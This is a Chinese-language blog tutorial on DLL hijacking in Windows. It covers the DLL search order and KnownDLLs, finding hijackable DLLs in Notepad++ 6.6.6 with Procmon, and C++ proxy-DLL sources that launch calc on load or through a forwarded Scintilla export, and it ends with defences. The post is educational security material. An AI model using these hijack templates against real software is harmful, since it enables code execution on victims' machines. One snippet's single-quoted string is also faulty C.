DLL劫持漏洞详解

1.DLL是什么

DLL是Dynamic Link Library的缩写,意为动态链接库。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可有多个DLL文件,一个DLL文件也可能被几个应用程序所共用,这样的DLL文件被称为共享DLL文件。

1.静态调用方式:由编译系统完成对 DLL 的加载和应用程序结束时 DLL 卸载的编码(如还有其它程序使用该 DLL,则 Windows 对 DLL 的应用记录减1,直到所有相关程序都结束对该 DLL 的使用时才释放它,简单实用,但不够灵活,只能满足一般要求。

2.动态调用方式:是由编程者用 API 函数加载和卸载 DLL 来达到调用 DLL 的目的,使用上较复杂,但能更加有效地使用内存,是编制大型应用程序时的重要方式。

2.环境

Windwos Server 2012
Windows 10
Vs2019
Procmon.exe
notepad++ v6.6.6

3.漏洞原因

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。这就是所谓的DLL劫持。

DLL劫持漏洞翻译成英文叫做 DLL Hijacking Vulnerability,CWE将其归类为Untrusted Search Path Vulnerability。如果想要去CVE数据库中搜索DLL劫持漏洞案例,搜索这两个关键词即可。可见DLL劫持额主要原因是目录搜索的问题,我们来看一下DLL的搜索目录

Windows XP SP2之前,Windows查找DLL的目录以及对应的顺序如下:

  1. 进程对应的应用程序所在目录;
  2. 当前目录(Current Directory);
  3. 系统目录(通过 GetSystemDirectory 获取);
  4. 16位系统目录;
  5. Windows目录(通过 GetWindowsDirectory 获取);
  6. PATH环境变量中的各个目录;

Windows XP SP2之后,Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启),默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1,此时调用顺序如下:

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

而在Windows7及以上,系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:在HKLM的如下目录中

SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Win10中如下:

image-20230129162728524

同样,我们在WIN7的测试系统中也存在这个选项

image-20230129162827261

4.DLL劫持漏洞分析

上文已经写明了DLL漏洞的成因,对dll劫持主要检测目录里的一些调用情况,通过一些监控软件,例如procmon,procmon全称为Process Monitor ,是一款能够实时显示文件系统、注册表与进程活动的高级工具,是微软推荐的一个系统监视工具。它整合了旧的 Sysinternals 工具,Filemon 与 Regmon,并增加了进程ID、用户、进程可靠度、等等监视项,可以记录到文件中。它的强大功能足以使 Process Monitor 成为你系统中的核心组件以及病毒探测工具。通常在病毒分析中会使用这个工具来监控软件的各种行为,同样也可以使用一些其他的行为监控软件来分析软件的行为,从而确定哪个dll可以劫持。

劫持应用中没有的dll

这里dll劫持的选用的是notepad++,使用的版本为6.6.6

下载:notepad++ v6.6.6

打开Process Monitor,设置几个过滤条件后,启动notepad

image-20230129164531217

image-20230129164518707

LoadLibraryLoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载,语法如下

LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

LoadLibraryEx的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH即可让系统dll搜索顺序从我们设置的目录开始

打开VS2022创建一个动态链接库

image-20230129165326378

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

编译并复制到NotePad++目录下

image-20230129165659940

启动Notepad++

image-20230129171953319

劫持应用中存在的dll

修改条件为Result is SUCCESS

image-20230129173831019

image-20230129173956888

在动态调用的时候,一般代码通过loadlibrary去加载dll 并作为参数传到到导出函数,这里看一下导入表,发现他这里有一个导出函数

image-20230129174446670

编写dll如下。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

void Scintilla_DirectFunction()
{
system("calc.exe");
}

编译后放到notepad++目录

image-20230130093827867

运行发现报错,同时并没有弹出计算器

image-20230130093921730

这边我们使用dll进行转发,再生成一个恶意的dll执行代码,代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

void Scintilla_DirectFunction()
{
HINSTANCE hDll = LoadLibrary(L"SciLexer_org.dll");
if (hDll)

{
//typedef 是定义了一个新的类型
//DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD
//定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
if (expFunc)
{
expFunc();
}

}
return;
}

替换并将原DLL修改为SciLexer_org.dll 即可触发

image-20230130095024990

使用工具进行劫持

使用CFF_EXPLORER、Process Explorer、Windbg来查找加载DLL,

image-20230130170504078

image-20230130170622223

image-20230130171026673

找一个不在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径里面的dll进行劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。

确定DLL后可以直接使用Alternate DLL Analyzer分析导出函数。

image-20230130172201291

同时使用AheadLib生成转发DLL的CPP文件即可。

image-20230130172329886

我们可以直接在VS2019中创建动态链接库并加入我们想要执行的命令即可

// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>
#include <Windows.h>

// 导出函数
#pragma comment(linker, "/EXPORT:Scintilla_DirectFunction=SciLexerOrg.Scintilla_DirectFunction,@1")

// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
system('calc');
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}

编译替换运行即可。

image-20230130172756059

部分自动化工具

目前使用效果都不是很好,更多的还是需要手工分析。

https://github.com/anhkgg/anhkgg-tools

image-20230130175427781

https://github.com/sensepost/rattler

image-20230130175307769

5.如何防御

  1. 在加载DLL时尽量使用DLL的绝对路径;
  2. 调用SetDllDirectory(L””)把 当前目录 从DLL搜索目录中排除;
  3. 使用 LoadLibraryEx 加载DLL时,指定 LOADLIBRARY_SEARCH 系列标志;
  4. 此外,进程也可以尝试去验证DLL的合法性,例如是否具有自家的合法数字签名、是否是合法的系统DLL文件等。
Author

ol4three

Posted on

2022-05-29

Updated on

2023-01-30

Licensed under


Comments